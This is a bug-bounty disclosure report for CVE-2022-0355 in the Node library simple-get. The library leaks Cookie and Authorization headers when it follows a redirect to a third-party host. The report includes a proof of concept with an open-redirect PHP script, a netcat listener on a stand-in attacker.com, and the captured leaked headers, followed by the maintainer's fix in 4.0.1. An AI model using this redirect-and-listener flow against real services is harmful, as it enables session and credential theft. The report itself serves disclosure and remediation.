

Exposure of Sensitive Information to an Unauthorized Actor in feross/simple-get

0



Valid

Reported on Jan 12th 2022

BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When fetching a remote url with Cookie if it get **Location** response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty. Ex: you try to fetch **example.com** with cookie and if it get redirect url to **attacker.com** then it fetch that redirect url with provided cookie .

So, Cookie of **example.com** is leaked to **attacker.com** .

Cookie is standard way to authentication into webapp and you should not leak to other site . All browser follow same-origin-policy so that when redirect happen browser does not send cookie of **example.com** to **attacker.com** .

FLOW

if you fetch `http://mysite.com/redirect.php?url=http://attacker.com:8182/` then it will redirect to `http://attacker.com:8182/` .

First setup a webserver and a netcat listner

`http://mysite.com/redirect.php?url=http://attacker.com:8182/`

```
//redirect.php
```

```
<?php
```

```
$url=$_GET["url"];
```

```
header("Location: $url");
```

```
/* Make sure that code below does not get executed when we  
exit;
```

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?>

netcat listner in http://attacker.com

```
nc -lnvp 8182
```

STEP TO RERPRODUCE

run bellow code

```
get({
  url: 'http://mysite.com/redirect.php?url=http://attacker.com:8182',
  method: 'POST',
  body: 'this is the POST body',

  // simple-get accepts all options that node.js `http` accepts
  // See: http://nodejs.org/api/http.html#http_http_request_options_callback
  headers: {
    'user-agent': 'my cool app',
    'Authorization': 'Basic asdada=',
    'Cookie': 'asdad=asda'
  }
}, function (err, res) {
  if (err) throw err

  // All properties/methods from http.IncomingResponse are available,
  // even if a gunzip/inflate transform stream was returned.
  // See: http://nodejs.org/api/http.html#http_http_incomingmessage
  res.setTimeout(10000)
  console.log(res.headers)

  res.on('data', function (chunk) {
    // `chunk` is the decoded response, after it's been gunzipped or inflated
    // (if applicable)
    console.log('got a chunk of the response: ' + chunk)
  })
})
```

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response received in attacker netcat

```
Connection from 127.0.0.1 35860 received!  
GET / HTTP/1.1  
accept-encoding: gzip, deflate  
user-agent: my cool app  
authorization: Basic asdada=  
cookie: asdad=asda  
Host: localhost:8182  
Connection: close
```

So, here i provided cookie/Authorization for [mysite.com](#) but does to redirect it leaks to thirdparty site [attacker.com](#)

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie/authorization header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie/Authorization header.

Occurrences

JS index.js L10-L15

JS index.js L34-L47

JS index.js L51-L100

CVE

CVE-2022-0355

(Published)

Vulnerability Type

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity

High (8.8)

Visibility

Public

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Status
Fixed

Found by



ranjit-git

@ranjit-git

amateur ✓

Fixed by



ranjit-git

@ranjit-git

amateur ✓

This report was seen 700 times.

We are processing your report and will contact the **feross/simple-get** team within 24 hours.

10 months ago

We have contacted a member of the **feross/simple-get** team and are waiting to hear back

10 months ago

We have sent a follow up to the **feross/simple-get** team. We will try again in 7 days.

10 months ago

Feross 10 months ago

Maintainer

Can you please send a pull request with your proposed fix?

ranjit-git modified the report 10 months ago

ranjit-git 10 months ago

Researcher

@maintainer PR has been submitted . plz check that <https://github.com/feross/simple-get/pull/72>

ranjit-git submitted a patch 10 months ago

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Feross 10 months ago

Maintainer

The patch doesn't work.

ranjit-git modified the report 10 months ago

ranjit-git submitted a patch 10 months ago

ranjit-git 10 months ago

Researcher

@maintainer sorry .

i have now submitted new PR which will work <https://github.com/feross/simple-get/pull/73>
plz check this

ranjit-git 10 months ago

Researcher

in previous patch i forgot to add one more line

Feross 10 months ago

Maintainer

I requested changes on the PR.

We have sent a second follow up to the **feross/simple-get** team. We will try again in 10 days.
10 months ago

Feross 10 months ago

Maintainer

Fixed in 4.0.1

Feross Aboukhadijeh validated this vulnerability 10 months ago

ranjit-git has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Feross Aboukhadijeh marked this as fixed in 4.0.1 with commit **e4af09** 10 months ago

ranjit-git has been awarded the fix bounty ✓

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This vulnerability will not receive a CVE 

index.js#L51-L100 has been validated 

index.js#L34-L47 has been validated 

index.js#L10-L15 has been validated 



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